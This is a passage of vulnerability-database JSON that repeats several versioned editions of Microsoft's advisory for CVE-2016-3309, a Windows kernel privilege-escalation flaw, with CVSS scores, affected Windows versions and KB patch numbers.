"KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-05T18:46:18", "differentElements": ["msAffectedSoftware"], "edition": 13}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "1609f8313c888e04d583d7cc2ea642df", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-05T20:48:27", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA11908", "KLA10856"]}], "modified": "2021-09-05T20:48:27", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-05T20:48:27", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3172985", "KB3176493", "KB3176492", "KB3168965", "KB3176495", "KB3177725", "KB3163912"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-05T20:48:27", "differentElements": ["msAffectedSoftware"], "edition": 14}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "13fc00f58404e6f4ff1e00cbd088e3aa", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-06T10:43:30", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA11908"]}], "modified": "2021-09-06T10:43:30", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-06T10:43:30", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3176493", "KB3163912", "KB3168965", "KB3172985", "KB3176492", "KB3176495", "KB3177725"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-06T10:43:30", "differentElements": ["msAffectedSoftware"], "edition": 15}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "1609f8313c888e04d583d7cc2ea642df", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-06T12:49:42", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA11908"]}], "modified": "2021-09-06T12:49:42", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-06T12:49:42", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3163912", "KB3172985", "KB3176493", "KB3176492", "KB3168965", "KB3177725", "KB3176495"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-06T12:49:42", "differentElements": ["msAffectedSoftware"], "edition": 16}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "13fc00f58404e6f4ff1e00cbd088e3aa", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-06T16:54:12", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA11908", "KLA10856"]}], "modified": "2021-09-06T16:54:12", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-06T16:54:12", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3163912", "KB3177725", "KB3176492", "KB3176493", "KB3176495", 